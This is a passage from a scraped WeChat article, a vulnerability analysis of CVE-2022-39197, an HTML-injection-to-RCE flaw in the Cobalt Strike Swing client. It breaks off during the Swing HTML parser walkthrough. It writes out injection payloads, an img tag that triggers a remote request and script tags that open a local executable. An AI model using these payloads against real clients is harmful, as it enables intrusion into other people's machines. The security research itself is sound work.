src="https://wechat2rss.xlab.app/img-proxy/?k=5d4677d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibdUyJNn0P5ib18y69ib0YFGCQkiclicvrCPygbHndZzVlvLpMwMfKQ6alCrMbaBJlOpNmgbXTicYoZibXadIjGgPR1GQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: normal;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486664">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bc7f48f1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTQ3NzA2MQ%3D%3D%26mid%3D2247486664%26idx%3D1%26sn%3D471ba61ff2c8d46c6a20afbf789269f0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 03 Nov 2022 16:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2022-39197 Cobalt Strike &lt; 4.7.1 RCE Analyze</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTQ3NzA2MQ==&amp;mid=2247486651&amp;idx=1&amp;sn=d30ee66476100c985af0ccc3dafed3a5</link>
      <description>CVE-2022-39197 Cobalt Strike &lt; 4.7.1 RCE Analyze</description>
      <content:encoded><![CDATA[<p>
<span>Beichen&amp;amp;漂亮鼠</span> <span>2022-09-27 15:08</span> <span style="display: inline-block;">北京</span>
</p>

<p>CVE-2022-39197 Cobalt Strike < 4.7.1 RCE Analyze</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=638c9bf3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibdUyJNn0P5ibN2IAWg2gXW1oSm51cjVib3uayDhP3yr351TB40ibr8N2Pdsia0omL9aS46LRr7pWjHQb7xTpJ0slgA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote class="js_blockquote_wrap" data-type="1" data-url="https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ" data-author-name="漂亮鼠" data-content-utf8-length="49" data-source-title="最新CS RCE曲折的复现路"><section class="js_blockquote_digest"><section><a href="https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ" target="_blank">https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ</a></section></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22inner%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A72%2C%22text%22%3A%22Chinese%20original%20link%3A%C2%A0https%3A%2F%2Fmp.weixin.qq.com%2Fs%2Fl5e2p_WtYSCYYhYE0lzRdQ%22%2C%22article%22%3A%7B%22title%22%3A%22%E6%9C%80%E6%96%B0CS%20RCE%E6%9B%B2%E6%8A%98%E7%9A%84%E5%A4%8D%E7%8E%B0%E8%B7%AF%22%2C%22url%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2Fl5e2p_WtYSCYYhYE0lzRdQ%22%2C%22nickname%22%3A%22%E8%B5%9B%E5%8D%9A%E5%9B%9E%E5%BF%86%E5%BD%95%22%2C%22authorName%22%3A%22%E6%BC%82%E4%BA%AE%E9%BC%A0%22%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%5D%7D"><span class="blockquote_biz">漂亮鼠，公众号：赛博回忆录<a href="https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ" class="blockquote_article">最新CS RCE曲折的复现路</a></span></section></blockquote><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22px;font-weight: bold;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x00 Preface</span><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Just a few days ago,</span><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"> BeichenDream</strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> submitted an RCE vulnerability to the CS official. Through this vulnerability, the data containing xss can be sent to the teamserver after capturing the attacker&#39;s beacon. After reflection, RCE is finally executed on the attacker&#39;s client. , the vulnerability number is CVE-2022-39197. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">It can be seen that this is an unpredictable anti-hacker magic hole, Anfuzi&#39;s nightmare. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Since it was a loophole in beating jb boy, it must be reproduced, so I made up my mind to burn the essence of life, and finally stumbled and completely reproduced the loophole with the strong support of friends, especially Master Panda. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Looking back at the past few days, I really learned a carload of things. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">You are also welcome to </span></span><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">join the Cyber</strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> Memoir Knowledge Planet . I will continue to update my src automatic scanning transformation in the future. I hope you like it.</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.3083333333333333" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 463px !important;visibility: visible !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=32239978&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSHI5wib3tvANbZK0EL9zobHJx6DrP5BUnL5Adgj19sQo2QWtnHicuGmFATaf59elJPUwAJehE8woZZxXI4SxmAEg%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x01 starting point</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">I believe that everyone has seen inserting img tags to get a bounced get request in the past few days. For example, writing in UI components </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&lt;html&gt;&lt;img src=x&gt;</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">will get this effect.</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5862068965517241" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="696" src="https://wechat2rss.xlab.app/img-proxy/?k=0d93f12d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0X1qpxtUSHk8E2DvfHlCKuC7c7pl6Qe6swteZhV8Bfoa036BuwyxcWQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This is a demo java swing code. When I directly enter the payload in jlabel, I will get an image that fails to render. Anyone who has learned the basics of xss knows that this is how the rendering of the img tag of html fails. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This also means that if the remote address is filled in, a get request will be sent to the remote server. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This is also the most common basic use these days. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So why is this? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Yes, this is the feature that comes with swing (a java GUI library), and it is the starting point of everything.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34659593280282935" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2262" src="https://wechat2rss.xlab.app/img-proxy/?k=902fcd2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs06HGB79FqtBZIyXkdLopDRibMZCYCp9kINcDibfrdnPrSu1joOCiaJv9TQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">We directly google swing html, the first one is the official teaching you how to use html tags in swing.</span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><a href="https://docs.oracle.com/javase/tutorial/uiswing/components/html.html" target="_blank">https://docs.oracle.com/javase/tutorial/uiswing/components/html.html</a></code></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3445176752546435" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="3338" src="https://wechat2rss.xlab.app/img-proxy/?k=e4da9785&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0G5BLxUYj3NMm9ibUT6F5SXF6W9cibKtibRaV7zdkNpkSuy5SOnkqQjiaTw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">See, the document directly tells us a fact: inserting a </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&lt;html&gt;</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">tag at the beginning of the content and subsequent content will be formatted as an html document for parsing, which means that html tags are supported. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">A key point here is </span></span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">at the beginning of the text</strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> , which means that it must be inserted at the beginning </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">&lt;html&gt;</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">. This point is very important to remember. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Most of the Rooters see this, and they may obviously think that since they support html tags, it is possible to use a set of XSS to RCE. It seems that Beichen is not that great, so I plug in one directly.</span></span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;script&gt;alert(1)&lt;/script&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/>&lt;script&gt;window.open(<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;file://xxxx/calc.exe&#39;</span>)&lt;/script&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">You can play how you want, and you can even introduce external js files for more XSS2RCE. This vulnerability is nothing special, but he Beichen discovered this feature. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Obviously, things are not that simple, and even more complex than you think.</span></span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x02 swing&#39;s html parser</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Anyone who has done a blind test will find that the script tag is not effective, not only the script tag, but also many standard tags are more or less limited by some functions in the swing scene. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So where is the breakthrough point to achieve RCE? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">At this time, we need to find the answer from the swing code. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Open the rt.jar package of jdk, we can locate the package content of swing</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="2.3044871794871793" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 624px !important;" data-type="png" data-w="624" src="https://wechat2rss.xlab.app/img-proxy/?k=8ccabb93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0fLksXgkTdyaW5qwBpLCBic3ou0YxILfy9TJmXlTzicLBibJfk1L9xRicHw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The next step is to find the answer in swing.</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="2.3468634686346865" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 542px !important;" data-type="png" data-w="542" src="https://wechat2rss.xlab.app/img-proxy/?k=27a5a037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0Z8TUmrIbVGCia5IqbSibXRoMzua95gicXibapicFnfTicNK95HWCuPnWdEibA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">You can see that there is a set of html parser, let&#39;s open that HTML class and take a look</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5666104553119731" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2372" src="https://wechat2rss.xlab.app/img-proxy/?k=26097e8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0rhibtmzDLXApVxnYnZfgflyBWojIfTKWkeCH7zNYfsStniaViapU1d6fQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">A lot of common html tags and attributes will be defined. If there are tag definitions, there must be tag parsing and the like. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">There are too many things and I don’t understand them very well. I will pick a few points and talk about them. First of all, he defines the tags and corresponding actions.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5713114754098361" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="2440" src="https://wechat2rss.xlab.app/img-proxy/?k=5306105c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0QksA4pzdz8Q28d0cl0tT4QOX7c8CpeNYgq3ftB7XLyKvgse5PiavCNg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: 